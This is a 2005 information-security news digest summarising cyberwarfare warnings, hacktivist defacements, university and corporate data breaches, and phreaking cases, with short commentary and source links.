U.S. officials said Wednesday, April 6, there is no evidence that China is seeking to boost its military presence in Latin America, but for the first time warned about Chinese intentions to establish an intelligence and cyberwarfare beachhead in the region. Roger Noriega, assistant secretary of state for Latin America, and Rogelio Pardo-Maurer, the top Defense Department official for the Western Hemisphere, testified before a House panel as several legislators argued that China is trying to fill the void left by the lack of U.S. involvement in the region. Noriega and Pardo-Maurer said China's interests in Latin America were mostly on the economic side, but warned that Beijing could also have an intelligence agenda as it increased trade with Latin America. Pardo-Maurer said that "we need to be alert to rapidly advancing Chinese capabilities, particularly in the fields of intelligence, communications and cyberwarfare, and their possible application in the region." This is the first time that a senior Pentagon official warned so directly about Chinese cyberwarfare capabilities in the region.

Category 16.4

Military & government perspectives on INFOWAR

2005-08-30

US Army military perspective INFOWAR blogging disintermediation Web sites classified sensitive information

EDUPAGE; <http://www.fcw.com/article90522-08-30-05-Web>

ARMY ON THE LOOKOUT FOR SENSITIVE INFO ONLINE U.S.

Army officials have said they will take a closer look at blogs and Web sites maintained by soldiers. Many such blogs and Web sites include photographs or other information that inadvertently exposes classified or sensitive information to anyone with access to the Internet. Gen. Peter Schoomaker, the Army's chief of staff, noted that soldiers routinely post pictures online that include "tactics, techniques, and procedures" for weapons systems. According to Richard Cody, Army vice chief of staff, "The enemy is actively searching the unclassified networks for information, especially sensitive photos." Schoomaker issued a memo saying that the Army will work to closely monitor Web sites and blogs to avoid operational security violations, which "needlessly place lives at risk and degrade the effectiveness of our operations." Federal Computer Week, 30 August 2005

Category 16.4

Military & government perspectives on INFOWAR

2005-10-20

DOD Wilma military industry alert telephone wireless networks DataPath Qualcomm

DHS IAIP Daily; <http://fcw.com/article91167-10-20-05-Web>

DOD, INDUSTRY ON ALERT FOR WILMA

The Defense Department has put military and industry teams on alert to provide communications if Hurricane Wilma disrupts the operation of telephone and wireless networks in the country. According to Brig. Gen. Nick Justice, deputy program executive officer in the Army's Program Executive Office for Command, Control, Communications-Tactical (PEO-C3T), "Teams are standing up right now at Fort Monmouth, NJ." In addition, Army signal units, which operate the service's battlefield communications systems, are also on call. According to Brig. Gen. Carroll Pollett, commanding general of the Army's Network Enterprise Technology Command and 9th Army Signal Command located at Fort Huachuca, AZ. In addition, Industry officials with DataPath and Qualcomm said they have personnel and equipment ready to provide communications with the Army.

Category 16.4

Military & government perspectives on INFOWAR

2005-12-13

research report hacker attack US network Chinese military information warfare INFOWAR

DHS IAIP Daily; <http://www.physorg.com/news8992.html>

RESEARCHERS: HACKER ATTACKS IN U.S. LINKED TO CHINESE MILITARY

A systematic effort by hackers to penetrate U.S. government and industry computer networks stems most likely from the Chinese military, the head of a leading security institute said. The attacks have been traced to the Chinese province of Guangdong, and the techniques used make it appear unlikely to come from any other source than the military, said Alan Paller, the director of the SANS Institute, an education and research organization focusing on cybersecurity. In the attacks, Paller said, the perpetrators "were in and out with no keystroke errors and left no fingerprints, and created a backdoor in less than 30 minutes. How can this be done by anyone other than a military organization?" Paller said that despite what appears to be a systematic effort to target government agencies and defense contractors, defenses have remained weak in many areas. Security among private-sector Pentagon contractors may not be as robust, said Paller, because "they are less willing to make it hard for mobile people to get their work done." The U.S. military has code-named the recent hacker effort "Titan Rain" and has made some strides in counter-hacking to identify the attackers, Paller said.

16.5 Hacktivism

Category 16.5 *Hacktivism*

2005-04-14 **Japan cyber attack Websites hacktivism China bilateral disagreement**

DHS IAIP Daily;
http://story.news.yahoo.com/news?tmpl=story&cid=1509&ncid=738&e=11&u=/afp/20050414/tc_afp/japanchinainternet

JAPAN SUSPECTS CYBER ATTACK ON OFFICIAL WEBSITES

Japan's police and defense agencies said they had come under cyber attack, amid reports a Chinese website was calling for the jamming of Japanese servers amid a heated bilateral disagreement. "Access to the homepage of the National Police Agency was hampered from around 9:00 pm (1200 GMT Wednesday, April 13) to 3:00 am (1700 GMT)," the national police said in a statement. "We are investigating the cause but it is highly possible that it was a cyber attack in which a large volume of information was sent to the address of the homepage," it said. Japanese media reports said a Chinese website had urged Internet users to flood Japanese servers with irrelevant data. A police spokesperson said the agency was "aware of the call" from China but had not identified what hampered the access. The Defense Agency also said its Website had been experiencing access problems from late Wednesday, April 13. Tensions have been rising between Japan and China. Japan announced Wednesday that its companies would have the right to drill for oil and gas in an area of the East China Sea bitterly disputed between the Asian economic powers.

Category 16.5 *Hacktivism*

2005-04-14 **Vietnam government Website attack defacement Turkish hacker hacktivism**

DHS IAIP Daily; <http://www.thanhniennews.com/society/?catid=3&newsid=6150>

VIETNAMESE GOVERNMENT WEBSITES ATTACKED

In recent days, several Vietnamese Websites including some government sites have been defaced and a Turkish hacker is claiming responsibility for the attacks. The hacker calls himself iSKORPiTX. After the attacks, he posted a list of hacked Websites on the Internet at <http://www.zone-h.org>. He said that five Vietnamese Websites were hacked into in just one day on April 11, including some government Websites with the domain names gov.vn and edu.vn. Hacker iSKORPiTX has claimed to deface 316 Websites. Currently, the hacker ranks fourth on the top 10 list of world Website hackers. He said that he randomly liked to hack into Websites, but had no dark intentions. Related article on hacked Anchorage airport Website:
http://www.usatoday.com/travel/news/2005-04-13-ala-airport-hacking_x.htm

Category 16.5 *Hacktivism*

2005-04-25 **Web server attacks growing quickly survey hacktivism Iraq war teenager involvement**

DHS IAIP Daily; <http://news.bbc.co.uk/1/hi/technology/4480689.stm>

SURVEY: WEB SERVER ATTACKS 'GROWING FAST'

A survey by Zone-H revealed that web server attacks and Website defacements grew by 36% during 2004 when almost 400,000 incidents were recorded. The attacks include 49 separate sorties against U.S. military servers and huge numbers of Website defacements. The figures were collated by Zone-H, a web-based organization that uses a world-wide network of volunteers to spot and investigate web server attacks and site defacements. "Defacement is just one option for an attacker," said Roberto Pretoni, Zone-H coordinator. "In most circumstances the techniques used by defacers are the same techniques used by serious criminals to cause more serious damage." The report found that more than half of all attacks and defacements, 55%, succeeded by exploiting a known bug or vulnerability or an administration mistake. The figures show that the many incidents occur on the anniversaries (mid-March) of the start of the most recent war in Iraq when both pro-Muslim and pro-American groups defaced sites. The survey also found that the long holidays around Christmas provoke a spike in attacks and incidents. The frequency of attacks also dips around the time that schools re-open suggesting that many teenagers are behind the defacements. Survey:
<http://www.zone-h.com/news/read/id=4457/>

17.1 Penetration

Category 17.1

Penetration

2005-01-11

hacker penetration T-Mobile wireless product manufacturer customer private information disclosure

DHS IAIP Daily; <http://www.securityfocus.com/news/10271>

HACKER PENETRATES T-MOBILE SYSTEMS.

A sophisticated computer hacker had access to servers at wireless giant T-Mobile for at least a year. Twenty-one year-old Nicolas Jacobsen was charged with the intrusions last October, after a Secret Service informant helped investigators link him to sensitive agency documents that were circulating in underground IRC chat rooms. The informant also produced evidence that Jacobsen was behind an offer to provide T-Mobile customers' personal information to identity thieves through an Internet bulletin board, according to court records. Jacobsen could access information on any of the Bellevue, Washington-based company's 16.3 million customers, including many customers' Social Security numbers and dates of birth, according to government filings in the case. He could also obtain voicemail PINs, and the passwords providing customers with Web access to their T-Mobile e-mail accounts. Jacobsen faces two felony counts of computer intrusion and unauthorized impairment of a protected computer in a federal case in Los Angeles, currently set for a February 14th status conference.

Category 17.1

Penetration

2005-01-12

T-Mobile data theft Secret Service Jacobsen e-mail files customers vandal penetration breakin trespass criminal hacker

NewsScan; <http://www.siliconvalley.com/mld/siliconvalley/10633193.htm>

SECURITY II: ATTACK ON T-MOBILE

A network vandal broke into the network of wireless carrier T-Mobile over a seven month period and read e-mails and personal computer files of hundreds of customers -- including those of the Secret Service agent investigating the hacker himself. The online activities of the vandal, 21-year-old computer engineer Nicolas Lee Jacobsen of Santa Ana, were traced to a hotel where he was staying in Williamsport, N.Y. Although Jacobsen was able to view the names and Social Security numbers of 400 customers (all of whom were notified in writing about the break-in), customer credit card numbers and other financial information never were revealed, and T-Mobile says it "immediately took steps that prevented any further access to this system." (AP/12 Jan 2005)

Category 17.1

Penetration

2005-01-12

penetration George Mason GMU college grades confidential data

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A5188-2005Jan12.html>

SECURITY I: VANDALISM OF COLLEGE NETWORKS

Early this month an intruder penetrated a central computer at George Mason University and attempted to access GMU's 130 other servers -- which hold such information as grades, financial aid, and payrolls. In the past two years, similar attacks have occurred at the universities of Georgia, Texas, Missouri, and California. To resist such attacks, some schools are beginning to use software that scans individual computers before they are allowed to connect to campus networks, and other institutions are setting up multiple smaller networks that house sensitive data, keeping them separate from the main networks. (Washington Post 12 Jan 2005)

Category 17.1

Penetration

2005-02-04

**Federal Bureau of Investigation FBI unclassified e-mail system shut down
penetration hacking compromise fear**

DHS IAIP Daily;

http://story.news.yahoo.com/news?tmpl=story&ccid=528&ncid=528&e=3&u=/ap/20050204/ap_on_hi_te/fbi_computers

FBI SHUTS DOWN UNCLASSIFIED E-MAIL SYSTEM.

The FBI said Friday, February 4, it has shut down an e-mail system that it uses to communicate with the public because of a possible security breach. The bureau is investigating whether someone hacked into the www.fbi.gov e-mail system, which is run by a private company, officials said. "We use these accounts to communicate with you folks, view Internet sites, and conduct other non-sensitive bureau business such as sending out press releases," Special Agent Steve Lazarus, the FBI's media coordinator in Atlanta, said in an e-mail describing the problem. The FBI computer system that is used for case files, classified and sensitive information, and internal communications is unaffected, Lazarus said.

Category 17.1

Penetration

2005-02-15

**data theft confidentiality control identity fraud consumer records social engineering
Social Security Numbers SSN credit reports**

RISKS; <http://news.com.com/2100-1029-5577122.html>

23

72

SCAMMERS ACCESS CHOICEPOINT DATA ON 35,000

ChoicePoint confirmed on 15 Feb that criminals recently accessed its database of consumer records, potentially viewing the personal data of about 35,000 Californians and resulting in at least one case of identity fraud. The unidentified individuals posed as legitimate businesspeople in order to [breach]* its defenses. Chuck Jones, a company spokesman, said that roughly 50 fraudulent accounts were set up by the schemers, through which they could view the data of California residents.

News of the crime first surfaced when ChoicePoint sent an e-mail to individuals potentially affected by the attack last week. Among the data available through the company's services, and possibly accessed by the criminals, are consumers' names, addresses, Social Security numbers and credit reports.

(Matt Himes in news.com , relayed via RISKS by Monty Solomon)

* Prof Kabay notes: The original article used "breech." DON'T DO THAT. If you mean a breakin, the word is "breach."

<i>Category</i>	<i>17.1</i>	<i>Penetration</i>		
2005-03-09		confidentiality hacking cracking security failure data leakage punishment student applications ethics rejection consequences questions problems		
RISKS; http://tinyurl.com/6k3zs ; http://tinyurl.com/du52h			23	78

UNIVERSITIES REJECT STUDENTS WHO CHECKED THEIR ADMISSION STATUS ONLINE

[In early March 2005, some students tried to check the status of their applications to various graduate schools by using information published in an online forum on how to find their records. Several schools responded by rejecting those candidates, provoking some controversy about whether the students had done anything wrong in the first place and whether the response was draconian. Mony Solomon summarized the university response and Peter Neumann summarized some of the controversy in the following RISKS posting.]

Sloan School of Management has joined Carnegie-Mellon and Harvard in rejecting applications from prospective students who hacked into a website to learn whether they had been admitted before they were formally notified. 32 MIT applicants reportedly took a peek, along with 1 at CMU, 119 at Harvard, and 41 at Stanford. The Web site is run by ApplyYourself, and also used by other business schools. Its access was compromised by a posting on a BusinessWeek Online forum. [PGN-ed from Robert Weisman, *The Boston Globe*, 8 and 9 Mar 2005]

[Dave Farber's IP list had several responses. Rejected applicants considered their treatment excessive. One candidate saw only a blank page at ApplyYourself, but was rejected for having accessed the site. Dave Lesher wrote

What's the B-schools' culpability in contracting out a process to a company with inadequate security? [Presumably] the schools demanded SSN's and other financial data from the applicants. Was there informed consent by the applicants to have their data shared with, in effect, a data broker? Could they apply WITHOUT so agreeing?

Joe Hall wrote

What strikes me is how constructing a URL that is available to students without any further authentication or protection is considered "hacking". That's inevitably diluting any geek cred. held by any of us who are even crappy hackers!

Joe also noted Ed Felten's post on this subject at

<http://www.freedom-to-tinker.com/archives/000780.html>

PGN wonders what if a competing candidate had masqueraded as other candidates to see if others had been accepted, and thereby wound up getting them all rejected! Could that be a suitable defense for the rejected students? PGN]

<i>Category</i>	<i>17.1</i>	<i>Penetration</i>		
2005-03-17		Boston College alumni database Social Security Numbers information disclosure virus data leakage		

EDUPAGE; http://news.zdnet.com/2100-1009_22-5623084.html

VIRUS INFECTS BOSTON COLLEGE ALUMNI DATABASE

A computer at Boston College with access to an alumni database has been found to be infected with a virus that may have exposed personal information on more than 100,000 individuals. According to officials at the college, the computer was operated not by the college but by a third-party IT service, which officials declined to name. Although no evidence has so far surfaced that any of the information in the database was in fact accessed by hackers, officials decided to notify anyone who might have been affected. Jack Dunn, spokesperson for Boston College, said, "We thought it was necessary to send out the precautionary advisory to alert the alumni and to offer them steps that they could take to ensure their privacy." Dunn also noted that Boston College will hereafter delete Social Security numbers from its records, despite their usefulness in maintaining accurate records. Social Security numbers have lately been highlighted as one of the pieces of personal information that pose the greatest risk for identity theft. Members of Congress have recently proposed strict restrictions for how and when Social Security numbers can be gathered and sold. ZDNet, 17 March 2005

Category 17.1 Penetration

2005-03-18 **penetration hacking Dartmouth admissions Website penalize applicants**

EDUPAGE; <http://www.post-gazette.com/pg/05077/473361.stm>

DARTMOUTH DECIDES TO PENALIZE, BUT NOT ELIMINATE, HACKERS

Applicants to the Tuck School of Business at Dartmouth College who used a hacker's tips to try to access admissions records were not automatically disqualified, though their actions were considered by school officials in their admissions decisions. The decision to consider applications of those involved in the hacking was made after consultations with faculty and staff and with the applicants themselves. Unlike officials at Harvard University, Duke University, MIT, and Carnegie Mellon University, administrators at Dartmouth decided that the hacking, while serious, "did not reach the level that would necessarily bar a person from being a valued member of the Tuck community," according to Paul Danos, dean of the school. Attempting to access restricted records was viewed by the school as "a very important negative factor" in considering the applications, but ultimately the school's decision did not rest on that single factor. Of the 17 applicants involved, some were admitted, and those who enroll will be monitored and counseled. The incident will also become a part of their files. Pittsburgh Post-Gazette, 18 March 2005

Category 17.1 Penetration

2005-03-18 **criminal hackers Web site vulnerability exploit consequences university admissions ethics**

<http://www.post-gazette.com/pg/05077/473361.stm>

APPLY YOURSELF TO BREAKING INTO ... APPLYYOURSELF, INC.

Criminal hackers posted instructions on March 2, 2005 on how to break into the ApplyYourself Inc. database online, a repository of applications used by many universities to track applicants.

About 150 candidates did break into the database and were identified because they looked at their own applications. Most of the six top business schools involved in the breakin rejected the applicants outright. However, Dartmouth College's Tuck School of Business decided to count the breakins as a factor detracting from an applicant's suitability but not absolutely barring their admission. Stanford University's business school had not yet decided on a firm policy by mid-March. Ethicists pointed out serious problems with the laissez-faire attitude of these schools.

Category 17.1 Penetration

2005-03-19 **Social Security Numbers SSN data loss theft compromise criminal hackers**

RISKS; http://news.zdnet.com/2100-1009_22-5623084.html 23 80

BOSTON COLLEGE LOSES THOUSANDS OF SSNs

[Same case as one in VIRUS INFECTS BOSTON COLLEGE ALUMNI DATABASE entry]

Geoff Kuenning summarized yet another after-the-fact response to a breach of confidentiality:

Hackers have invaded a Boston College database of alumni, compromising data on up to 100,000 people. The data includes Social Security Numbers. In a choice quote, Jack Dunn of BC ``noted that Boston College will hereafter delete Social Security numbers from its records, despite their usefulness in maintaining accurate records.''

Question: If every organization that currently stores SSNs waits until *after* they are hacked before they decide that maybe it's not smart to expose sensitive data, how many Americans will be left with uncompromised SSNs?

Liability laws are desperately needed.

<i>Category</i>	<i>17.1</i>	<i>Penetration</i>			
2005-04-24		criminal hacker data theft penetration			
RISKS; http://www.post-gazette.com/pg/05111/491836.stm			23		85
HACKER(S) BROKE INTO CMU COMPUTERS					

Monty Solomon summarized another attack on university data:

A hacker [or hackers] who tapped into business school computers at Carnegie Mellon University may have compromised sensitive personal data belonging to 5,000 to 6,000 graduate students, staff, alumni and others. The breach confirmed by officials in the Tepper School of Business is the latest in a recent string of campus computer break-ins nationally and the second since early March affecting Tepper. There is no evidence that any data, including Social Security and credit card numbers, have been misused, officials said. But they have begun sending e-mails and letters alerting those affected. They include graduate students and graduate degree alumni from 1997 to 2004, master's of business administration applicants from September 2002 through May 2004, doctoral applicants from 2003 to this year, and participants in a conference that was being arranged by the school's staff....

Bob Heuman commented:

Another case of not knowing how long the exposure existed and therefore how much exposure the personal information really had. Once again we have Social Security Numbers, credit card data, etc. exposed for an indeterminate amount of time. I have gone to the university's own web site and the Tepper School web site and neither has any mention of this report as of the time I checked, which is Apr 21 at 4:45PM EDT.

<i>Category</i>	<i>17.1</i>	<i>Penetration</i>			
2005-05-11		computer security attack FBI thwart Cisco routers government university computers NASA NCSA San Diego Supercomputer Center Sweden teenager			

EDUPAGE; <http://online.wsj.com/article/0,,SB111569768679229042,00.html>

FBI THWARTED COMPUTER ATTACKS

An investigation into the theft of part of the operating system software for Cisco routers has prevented network attacks on government and university computers, according to the FBI. In May 2004, a hacker was able to access Cisco's software and reportedly used that information to compromise networks at several military installations and at the National Aeronautics and Space Administration. Computers at the Argonne National Laboratory, the National Center for Supercomputing Applications, and the San Diego Supercomputer Center were also compromised. The FBI said that law enforcement action has apparently ended the break-ins. As part of the investigation, authorities in Sweden detained a teenager thought to be involved in the malicious activity, though it remains unclear whether U.S. authorities will be able to prosecute that person.

Wall Street Journal, 11 May 2005 (sub. req'd)

<i>Category</i>	<i>17.1</i>	<i>Penetration</i>			
2005-05-26		hackers hacking penetration Stanford University Career Development Center CDC personal information disclosure Social Security Numbers			

EDUPAGE; <http://software.silicon.com/security/0,39024655,39130758,00.htm>

HACKERS HIT STANFORD

Officials at Stanford University and the FBI are investigating a computer breach at the university's Career Development Center (CDC) earlier this month that may have exposed personal information on as many as 10,000 individuals. Most of those affected are students, though a small number are recruiters who had registered with the CDC. Information that might have been improperly accessed includes names, Social Security numbers, financial information, and, in some cases, credit card numbers. The university is notifying those possibly affected by the breach, in compliance with the 2003 Security Breach Information Act. That law requires organizations to inform California residents any time their personal information might have been accessed without authorization. Silicon.com, 26 May 2005

<i>Category</i>	<i>17.1</i>	<i>Penetration</i>			
2005-06-17		data theft penetration criminal hacker credit burea			
RISKS; http://www.cbc.ca/story/business/national/2005/06/17/equifax-050617.html			23		91
EQUIFAX (CANADA) HACKED					

A computer hacker has accessed the files of about 600 consumers at Equifax Canada, one of Canada's major credit bureaus. Most of the files are for consumers from British Columbia. Equifax Canada uses data provided by banks to compile credit records on Canadian consumers. Those records include personal information such as social insurance numbers, bank account numbers and up to six years of credit and banking history ... Equifax said all affected customers in this latest breach have been contacted. The RCMP is investigating.

[Abstract by R. S. "Bob" Heuman]

<i>Category</i>	<i>17.1</i>	<i>Penetration</i>			
2005-06-22		customer pharmacy medical data privacy controls penetration leakage compromise Web access identification authentication I&A response			
RISKS; http://www.pbn.com/contentmgr/showdetails.php?id=115431			23		92
CVS FIXES PRIVACY HOLE					

The CVS Corp. has cut off Web access to ExtraCare card holders' detailed purchase information after a consumer group showed reporters how easily an intruder could log into the system and find out, say, how many condoms or enema kits someone's bought. CVS has issued about 50 million of the loyalty cards, which allow the drugstore chain to track each customer's purchases and, in exchange, provide a 2-percent rebate on those purchases, along with customized coupons. To log into your account on CVS.com, all you need is the card number, your ZIP code, and the first three letters of your surname. Even now, anyone with that information can easily find out the card holder's home address, phone number, and total purchases each quarter. But until last week, the Web site also allowed customers to request a detailed purchase report to be e-mailed to them -- to any address they put in....

[Excerpt from article by Marion Davis]

<i>Category</i>	<i>17.1</i>	<i>Penetration</i>			
2005-07-15		data theft confidentiality credit card hack			
Crypto-Gram					

CARDSYSTEMS SOLUTIONS HACKED -- 40M PEOPLE AFFECTED

Bruce Schneier wrote, "The personal information of over 40 million people has been hacked. The hack occurred at CardSystems Solutions, a company that processes credit card transactions. The details are still unclear. The New York Times reports that "data from roughly 200,000 accounts from MasterCard, Visa and other card issuers are known to have been stolen in the breach," although 40 million were vulnerable. The theft was an intentional malicious computer hacking activity: the first in all these recent personal-information breaches, I think. The rest were accidental -- backup tapes gone walkabout, for example -- or social engineering hacks. Someone was after this data, which implies that's more likely to result in fraud than those peripatetic backup tapes."

CardSystems says that they found the problem, while MasterCard maintains that they did; the New York Times agrees with MasterCard. Microsoft software may be to blame. And in a weird twist, CardSystems admitted they weren't supposed to keep the data in the first place."

Category 17.1

Penetration

2005-07-22

hacker hacking penetration perimeter breach University of Colorado information disclosure Social Security Numbers

EDUPAGE; <http://www.thedenverchannel.com/technology/4757407/detail.html>

CU COMPUTERS HACKED

Officials at the University of Colorado said hackers gained access to two servers at the university, possibly exposing personal information on nearly 43,000 students and employees of the institution. One server, at the College of Architecture, contained data on 900 individuals; the other, at the university's health center, included information for another 42,000 people. The servers included names, Social Security numbers, addresses, and dates of birth, according to the university, but neither included credit card information. Still, university officials are advising those affected to monitor their credit reports for suspicious activity, and the university has set up a Web site and a hot line to answer questions. Investigators looking into the situation said that one hacker came through a server in France, while the other came through a server in Eastern Europe. University officials have no information so far that any of the personal data on the servers has been misused. The Denver Channel, 22 July 2005

Category 17.1

Penetration

2005-07-25

Hackers spyware Website hosting ISPs malicious worms viruses spyware hosting

DHS IAIP Daily; <http://www.techweb.com/wire/security/166402258>

HACKERS SPREADING SPYWARE FROM FREE PERSONAL WEBSITES

Attackers are using free personal Web hosting sites provided by nationally- and internationally-known ISPs to store their malicious code, and to infect users with worms, viruses, and spyware, a security firm said Monday, July 25. Websense, a San Diego, California-based Web security and content filtering vendor, has detected a big jump in the use of personal hosting sites, said Dan Hubbard, the company's senior director of security and technology research. "Attackers don't have to go to the trouble to find a compromised machine, search for one with a vulnerability they can exploit to turn into a zombie," said Hubbard. "Plus, they're reliable. Since they're offered up by national and international Internet service providers, they're built on a lot of infrastructure. Third, they often offer quite a bit of storage space, in some cases up to 500MB." The problem is that too few free hosting services offer even the most basic security tools, Hubbard said. None of the services found hosting malicious sites use a graphics-based question to make sure that a human, not a bot, registers for the service, he said.

Category 17.1

Penetration

2005-08-03

hacker hacking penetration perimeter breach University of Colorado information disclosure Social Security Numbers

EDUPAGE; http://www.denverpost.com/news/ci_2909173

CU SUFFERS ANOTHER HACK

Hackers broke into a server at the University of Colorado (CU), marking the third security breach in the past six weeks. The latest attack targeted servers that held information for the school's ID card, known as the Buff OneCard. Those servers included names, Social Security numbers, and photographs but not financial information. Potentially exposed in the attack is personal information for 29,000 students, some former students, and 7,000 staff members. Students who will be entering the university in the fall were not affected. Dan Jones, IT security coordinator, said it was not clear whether this attack was perpetrated by the same people who compromised two other servers recently. In April, CU had decided to move away from using Social Security numbers as identifiers for students, based on security problems at other institutions and the risk of identity theft. Some systems on campus, however, still use Social Security numbers to track students, according to Jones. Officials at the university said they will hire an independent auditing firm to assess the institution's security measures and will also evaluate some 26,000 computers to determine which could be placed behind a firewall. The Denver Post, 3 August 2005

Category 17.1

Penetration

2005-08-09

Sonoma State University California hacker penetration personal information disclosure Social Security Numbers

EDUPAGE; <http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2005/08/09/BAGLJE50C81.DTL>

HACKERS HIT ANOTHER UNIVERSITY

Sonoma State University, an hour north of San Francisco, has become the latest in a growing list of universities to suffer a hacker attack that put personal information of students and staff at risk. At Sonoma State, hackers in July gained access to several computer workstations, which allowed them to access a number of other computers before university staff detected and put an end to the intrusion. In all, the hackers had access to names and Social Security numbers of nearly 62,000 students, applicants, or employees of the university between 1995 and 2002. A spokesperson for the university said the hackers did not have access to financial information and noted that there is currently no evidence that any of the information has been misused. Nevertheless, the university is required by state law to contact individuals whose personal information has been compromised, and the university is working to do just that. The university has set up a Web site with information and is advising affected individuals to contact credit-reporting agencies to be on the lookout for possible identity fraud. San Francisco Chronicle, 9 August 2005

Category 17.1

Penetration

2005-09-29

hacker attack penetration University of Georgia personal sensitive information disclosure Social Security Numbers

EDUPAGE; <http://www.ajc.com/metro/content/metro/0905/29ugabreach.html>

HACKER HITS UNIVERSITY OF GEORGIA

The University of Georgia has revealed that a hacker was able to access a computer system that contained personal information for employees of the College of Agricultural and Environmental Sciences as well as people who are paid from that department. Social Security numbers were in the accessed database, though no credit card information was exposed. In all, 2,400 Social Security numbers for about 1,600 people were compromised, and the university is working to contact those affected. According to Tom Jackson, spokesperson for the university, names and Social Security numbers in the database were not connected, but an experienced hacker would likely be able to correctly match them up. The university suffered another computer hack in January 2004. No arrests have been made in that incident. The Atlanta Journal-Constitution, 29 September 2005

Category 17.1

Penetration

2005-11-18

hacking penetration malicious network activity Indiana University IU

EDUPAGE;

<http://www.fortwayne.com/mld/fortwayne/news/local/13202338.htm>

HACKER HITS IU

Officials at Indiana University reported that a routine scan of computer systems turned up malicious software on the computer of a faculty member at the Kelley School of Business. According to James Anderson, the school's director of information technology, the software could have been used to access the personal information of about 5,300 current and former students at the university, though no reports have surfaced that the information was used illicitly. The school has notified the students who are possibly affected and encouraged them to monitor their credit reports for suspicious activity. Daniel Smith, dean of the Kelley School, said all of the institution's computers are being audited to ensure they are free of malicious software and have current antivirus and system patches installed.

Associated Press, 18 November 2005

Category 17.1

2005-12-20

Penetration

data theft security breach Encase Guidance software criminal hackers financial personal data customer database law enforcement response credit card Secret Service investigation

EDUPAGE; <http://www.washingtonpost.com/wp-dyn/content/article/2005/12/19/AR2005121901525.html>

HACKERS HIT SECURITY COMPANY DATABASE

Hackers gained access to the financial and personal data of 3,800 law enforcement and network security professionals when they broke into the customer database of Guidance Software in Pasadena, California. Guidance Software is a leading provider of software to diagnose hacker attacks, and its EnCase product is used by hundreds of security researchers and law enforcement agencies worldwide, including the U.S. Secret Service and FBI. The break-in took place in November and was discovered December 7. The company alerted its customers within two days after the discovery and assured them it would no longer store customer credit card data. The company is working with the Secret Service on a detailed investigation of the incident.

17.2 Web vandalism

Category 17.2

Web vandalism

2005-06-03

Web vandalism hacking Microsoft Network MSN Website South Korea password stealing victim outsourced hosting

DHS IAIP Daily; <http://www.washingtonpost.com/wp-dyn/content/article/2005/06/02/AR2005060201604.html?nav=hcmodule>

MICROSOFT SAYS MSN WEBSITE HACKED IN SOUTH KOREA

Microsoft acknowledged Thursday, June 2, that hackers booby-trapped its popular MSN Website in South Korea to try to steal passwords from visitors. The company said it was unclear how many Internet users might have been victimized. Microsoft said it cleaned the Website, <http://www.msn.co.kr> and removed the dangerous software code that unknown hackers had added earlier this week. A spokesperson, Adam Sohn, said Microsoft was confident its English-language Websites were not vulnerable to the same type of attack. The Korean site, unlike U.S. versions, was operated by another company Microsoft did not identify. Microsoft's own experts and Korean police authorities were investigating, but Microsoft believes the computers were vulnerable because operators failed to apply necessary software patches, said Sohn, an MSN director. MSN Korea said the only site affected by the hacking was the MSN Korea news site: <http://news.msn.co.kr>

Category 17.2

Web vandalism

2005-06-10

Web vandalism hacking defacement Korean Mozilla Website Simiens Crew Brazilian organization

DHS IAIP Daily; <http://www.internetnews.com/security/article.php/3512081>

HACKERS DEFACE KOREAN MOZILLA WEBSITE

The Korean language Mozilla Website was hacked and defaced last week, prompting calls from some corners of the open source community to gain control of the independent site. The job was likely the work of the notorious Simiens Crew, a Brazil-based outfit, and while the main page was not affected, other pages were replaced by the message "Simiens Crew ownz u viva os macacos." The phrase "os macacos" means "the monkeys" in Portuguese. It could be that the hackers simply have misspelled their own name, according to MozillaZine, a Web-based forum for the browser's enthusiast. The proper spelling is "Simians" and means apes. The crew has attacked several high-profile sites, often exploiting a vulnerability in the AWStats log file analyzer, according to MozillaZine. While Mozilla Europe, Mozilla Japan and Mozilla China have an official affiliation with the foundation, the Korean language Website has no official connection. Channy Yun, leader of Mozilla Korean Community, said the hack happened because there was not a patch for a PHP vulnerability for the company hosting mozilla.or.kr. He assured users he would backup and fix the problem with the ISP.

Category 17.2

Web vandalism

2005-07-06

The Register Microsoft UK hacking defacer Apocalypse Rafa GIF Microsoft institutions government Aponte World of Hell

DHS IAIP Daily; http://www.theregister.co.uk/2005/07/06/msuk_hacked/

MICROSOFT UK DEFACED IN HACKING ATTACK

Microsoft's UK Website was defaced by well-known defacer Apocalypse Tuesday, July 5, with a message in support of Venezuelan hacker Rafa. The site has since been restored to normal operation and the offending GIF removed. A Microsoft spokesman said it was aware of the attack, which technical staff are investigating. "There is no reason to believe customer data or any other sensitive information has been compromised," he said. Apocalypse has been targeting U.S. institutions and the government sites for months, always posting messages in support of Rafa Nunez-Aponte, a suspected member of the World of Hell hacking crew. Rafa is in custody in the U.S. following his arrest in Miami, FL, in April over a series of alleged attacks on U.S. Department of Defense servers dating back to 2001. Previous targets of DHS IAIP DHS IAIP Daily; DHS IAIP Daily; Daily; Apocalypse's "digital graffiti" attacks have included Stanford University and U.S. Navy Websites.

17.3 Phreaking, cramming, uncapping, theft of services

Category 17.3

Phreaking, cramming, uncapping, theft of services

2005-04-05

**New York state law target modem hijacking consumer international phone calls
phreaking service theft**

DHS IAIP Daily; <http://www.nytimes.com/aponline/technology/AP-Modem-Hijackin g.html>

NEW YORK LAWMAKERS TARGET MODEM HIJACKING

New York state lawmakers unveiled a bill Monday, April 4, that is believed to be the first in the nation to target modem hijacking, a practice in which thieves tap into people's computer modems to make international phone calls. If passed, the law would allow telephone companies and the state attorney general to bring lawsuits against modem hijackers and their accomplices. The hijackers tap into people's modems by luring computer users to specific Websites – sometimes through e-mails – where pop-up windows emerge inviting the user to click on them. The windows authorize the downloading of modem software that is then remotely accessed to make international calls that are charged back to the user. Consumers can fight hijacking by using a dedicated phone line for the computer dial-up connection, then blocking international calls to that line.
New York Legislature: <http://www.state.ny.us>

Category 17.3

Phreaking, cramming, uncapping, theft of services

2005-07-31

**hotel system lap linux infrared IrDA USB TV tuner data leakage unauthorized
access e-mail surveillance penetration cracking**

RISKS; <http://www.wired.com/news/privacy/1,68370-0.html>

23

95

HOTEL TV SYSTEM HACKED USING LAPTOP & TUNER

Adam Laurie, tech director of the London security and networking firm "The Bunker", apparently got bored on a recent trip and found the time to hack the hotel's TV system which lets customers not just watch 'normal' TV programming, but also, for a fee, provides access to not-safe-for-work flicks and access to the Internet including e-mail.

